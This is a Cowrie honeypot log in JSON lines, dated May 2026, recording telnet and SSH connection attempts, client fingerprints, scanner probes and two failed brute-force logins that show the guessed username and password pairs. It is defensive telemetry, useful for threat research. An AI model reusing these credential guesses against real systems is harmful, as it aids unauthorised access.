{"eventid":"cowrie.session.closed","duration":15.079688549041748,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:27.947754Z","src_ip":"34.156.71.222","session":"f6e01384327b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.2719719409942627,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:27.952559Z","src_ip":"34.156.71.222","session":"6c7f25c490a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.1220839023590088,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:27.957995Z","src_ip":"34.156.71.222","session":"87d65cff88fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.591223955154419,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:27.961755Z","src_ip":"34.156.71.222","session":"16bc48706c75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.7502310276031494,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:27.965968Z","src_ip":"34.156.71.222","session":"af74790ae2fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.9081673622131348,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:27.969526Z","src_ip":"34.156.71.222","session":"1729a8cbb027","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.223792314529419,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:27.972928Z","src_ip":"34.156.71.222","session":"2928a5791c01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.072314977645874,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:27.978568Z","src_ip":"34.156.71.222","session":"64f7969f97b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.559156656265259,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:27.986278Z","src_ip":"34.156.71.222","session":"e82ad3fabaae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.4035186767578125,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:27.989988Z","src_ip":"34.156.71.222","session":"2ab30d8c4bb1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.731710195541382,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:27.993825Z","src_ip":"34.156.71.222","session":"25c9250ff309","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.203460454940796,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:27.997798Z","src_ip":"34.156.71.222","session":"0c154da5e134","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.895233392715454,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:28.001144Z","src_ip":"34.156.71.222","session":"50900cbf6b57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.0600290298461914,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:28.009866Z","src_ip":"34.156.71.222","session":"9437c8000985","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.373816728591919,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:28.013298Z","src_ip":"34.156.71.222","session":"782a45bd45c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.5342626571655273,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:28.016667Z","src_ip":"34.156.71.222","session":"7166671bfacb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.038274765014648,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:28.020795Z","src_ip":"34.156.71.222","session":"94f70fcb96f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.432658433914185,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:28.024375Z","src_ip":"34.156.71.222","session":"8e246a298f0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.278513193130493,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:28.027769Z","src_ip":"34.156.71.222","session":"264ce329156a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.5926830768585205,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:28.031050Z","src_ip":"34.156.71.222","session":"33c50b4a4acc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.751107692718506,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:28.034534Z","src_ip":"34.156.71.222","session":"cf9099e4c44c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.0650599002838135,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:28.038523Z","src_ip":"34.156.71.222","session":"0a8797b76a6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.914826393127441,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:28.043599Z","src_ip":"34.156.71.222","session":"7798f7ab68ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.230825185775757,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:28.047486Z","src_ip":"34.156.71.222","session":"fa8a726b0986","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.389352798461914,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:28.050792Z","src_ip":"34.156.71.222","session":"f1c8b257d487","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.548105001449585,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:28.054147Z","src_ip":"34.156.71.222","session":"9e8eb1d460f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.15385627746582,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:31.499663Z","src_ip":"152.42.224.71","session":"614f6dea0b75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58142,"dst_ip":"10.17.0.5","dst_port":23,"session":"41c0b60f2573","protocol":"telnet","message":"New connection: 152.42.224.71:58142 (10.17.0.5:23) [session: 41c0b60f2573]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:31.677350Z"}
{"eventid":"cowrie.session.closed","duration":113.2986650466919,"message":"Connection lost after 113 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:32.891714Z","src_ip":"152.42.224.71","session":"f06ad007ab78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":55626,"dst_ip":"10.17.0.5","dst_port":22,"session":"b87e260fc0a4","protocol":"ssh","message":"New connection: 51.250.105.222:55626 (10.17.0.5:22) [session: b87e260fc0a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:33.881889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:33.886286Z","src_ip":"51.250.105.222","session":"b87e260fc0a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:34.012776Z","src_ip":"51.250.105.222","session":"b87e260fc0a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"krasotka","message":"login attempt [root/krasotka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:34.388865Z","src_ip":"51.250.105.222","session":"b87e260fc0a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:35.518618Z","src_ip":"51.250.105.222","session":"b87e260fc0a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.188212156295776,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:39.624605Z","src_ip":"152.42.224.71","session":"1e0e77db8cc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56002,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d652a6cd8bd","protocol":"telnet","message":"New connection: 152.42.224.71:56002 (10.17.0.5:23) [session: 3d652a6cd8bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:39.778500Z"}
{"eventid":"cowrie.session.closed","duration":28.253190279006958,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:40.612534Z","src_ip":"152.42.224.71","session":"59866e6f33c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56016,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4c2b8f8c632","protocol":"telnet","message":"New connection: 152.42.224.71:56016 (10.17.0.5:23) [session: f4c2b8f8c632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:41.930225Z"}
{"eventid":"cowrie.session.closed","duration":31.346413373947144,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:42.690255Z","src_ip":"152.42.224.71","session":"017d49d7ff0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.3570191860199,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:42.877442Z","src_ip":"152.42.224.71","session":"aaef281c88a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56032,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb146cde19b9","protocol":"telnet","message":"New connection: 152.42.224.71:56032 (10.17.0.5:23) [session: fb146cde19b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:44.238012Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50840,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7ac27aaca1d","protocol":"telnet","message":"New connection: 152.42.224.71:50840 (10.17.0.5:23) [session: a7ac27aaca1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:52.218351Z"}
{"eventid":"cowrie.session.closed","duration":56.53473734855652,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:58.088621Z","src_ip":"152.42.224.71","session":"78fe36936156","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.46588110923767,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:58.233774Z","src_ip":"152.42.224.71","session":"4ce64a4f6d04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50074,"dst_ip":"10.17.0.5","dst_port":23,"session":"c263b4f35b02","protocol":"telnet","message":"New connection: 152.42.224.71:50074 (10.17.0.5:23) [session: c263b4f35b02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:58.375617Z"}
{"eventid":"cowrie.session.closed","duration":29.25557851791382,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:31:00.932800Z","src_ip":"152.42.224.71","session":"41c0b60f2573","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.32203674316406,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:31:01.547873Z","src_ip":"152.42.224.71","session":"e98c0c833010","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57264,"dst_ip":"10.17.0.5","dst_port":23,"session":"464453ff1410","protocol":"telnet","message":"New connection: 152.42.224.71:57264 (10.17.0.5:23) [session: 464453ff1410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:31:06.879846Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57278,"dst_ip":"10.17.0.5","dst_port":23,"session":"6971a42206fc","protocol":"telnet","message":"New connection: 152.42.224.71:57278 (10.17.0.5:23) [session: 6971a42206fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:31:11.074653Z"}
{"eventid":"cowrie.session.closed","duration":32.88848090171814,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:31:12.666874Z","src_ip":"152.42.224.71","session":"3d652a6cd8bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57282,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc67533c22d5","protocol":"telnet","message":"New connection: 152.42.224.71:57282 (10.17.0.5:23) [session: bc67533c22d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:31:12.828671Z"}
{"eventid":"cowrie.session.closed","duration":82.11970162391663,"message":"Connection lost after 82 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:31:13.226551Z","src_ip":"152.42.224.71","session":"2082c9796ca9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40702,"dst_ip":"10.17.0.5","dst_port":23,"session":"87126a71342c","protocol":"telnet","message":"New connection: 152.42.224.71:40702 (10.17.0.5:23) [session: 87126a71342c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:31:18.433814Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40704,"dst_ip":"10.17.0.5","dst_port":23,"session":"4426c56a503b","protocol":"telnet","message":"New connection: 152.42.224.71:40704 (10.17.0.5:23) [session: 4426c56a503b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:31:19.180750Z"}
{"eventid":"cowrie.session.closed","duration":90.86810970306396,"message":"Connection lost after 90 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:31:21.725085Z","src_ip":"152.42.224.71","session":"b6e9b1c6e7bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.793717622756958,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:31:24.011977Z","src_ip":"152.42.224.71","session":"a7ac27aaca1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60986,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e30445b8c5b","protocol":"telnet","message":"New connection: 152.42.224.71:60986 (10.17.0.5:23) [session: 5e30445b8c5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:31:26.445361Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60990,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3416143f9a0","protocol":"telnet","message":"New connection: 152.42.224.71:60990 (10.17.0.5:23) [session: d3416143f9a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:31:26.690331Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32772,"dst_ip":"10.17.0.5","dst_port":23,"session":"a847f995d039","protocol":"telnet","message":"New connection: 152.42.224.71:32772 (10.17.0.5:23) [session: a847f995d039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:31:28.160012Z"}
{"eventid":"cowrie.session.closed","duration":44.06434965133667,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:31:28.302279Z","src_ip":"152.42.224.71","session":"fb146cde19b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.32.136","src_port":44248,"dst_ip":"159.203.135.109","dst_port":22,"session":"75293bfe65b3","protocol":"ssh","message":"New connection: 43.134.32.136:44248 (159.203.135.109:22) [session: 75293bfe65b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:31:29.127782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:31:29.133194Z","src_ip":"43.134.32.136","session":"75293bfe65b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:31:29.378833Z","src_ip":"43.134.32.136","session":"75293bfe65b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marina","password":"marina123","message":"login attempt [marina/marina123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:31:30.392781Z","src_ip":"43.134.32.136","session":"75293bfe65b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.921449184417725,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:31:31.354880Z","src_ip":"152.42.224.71","session":"87126a71342c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.51381587982178,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:31:31.443902Z","src_ip":"152.42.224.71","session":"f4c2b8f8c632","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:31:31.641937Z","src_ip":"43.134.32.136","session":"75293bfe65b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32774,"dst_ip":"10.17.0.5","dst_port":23,"session":"d74627ef124f","protocol":"telnet","message":"New connection: 152.42.224.71:32774 (10.17.0.5:23) [session: d74627ef124f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:31:35.572750Z"}
{"eventid":"cowrie.session.closed","duration":42.198343992233276,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:31:40.573855Z","src_ip":"152.42.224.71","session":"c263b4f35b02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00728344917297,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:31:46.973329Z","src_ip":"152.42.224.71","session":"a57c67108fb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":50330,"dst_ip":"10.17.0.5","dst_port":22,"session":"70f11a8d98f5","protocol":"ssh","message":"New connection: 167.172.81.52:50330 (10.17.0.5:22) [session: 70f11a8d98f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:31:47.720806Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:31:47.725736Z","src_ip":"167.172.81.52","session":"70f11a8d98f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:31:47.729975Z","src_ip":"167.172.81.52","session":"70f11a8d98f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":50815,"dst_ip":"10.17.0.5","dst_port":22,"session":"3755c8975f86","protocol":"ssh","message":"New connection: 152.42.212.128:50815 (10.17.0.5:22) [session: 3755c8975f86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:31:55.204292Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:31:55.209501Z","src_ip":"152.42.212.128","session":"3755c8975f86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:31:55.214063Z","src_ip":"152.42.212.128","session":"3755c8975f86","protocol":"ssh"}
